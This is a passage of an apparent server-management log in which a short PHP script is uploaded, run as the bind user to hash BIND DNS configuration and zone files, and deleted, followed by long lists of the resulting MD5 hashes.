MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-11 20:44:49: Establishing a connection
2025-10-11 20:44:49:
PUT: /tmp/pkp796437
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-11 20:44:49:
runuser -l bind -s /bin/bash -c '/tmp/pkp796437; rm /tmp/pkp796437'
2025-10-11 20:44:49:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-11 20:46:53: Establishing a connection
2025-10-11 20:46:58: Establishing a connection
2025-10-11 20:46:58:
PUT: /tmp/pkp754065
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-11 20:46:58:
runuser -l bind -s /bin/bash -c '/tmp/pkp754065; rm /tmp/pkp754065'
2025-10-11 20:46:58:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
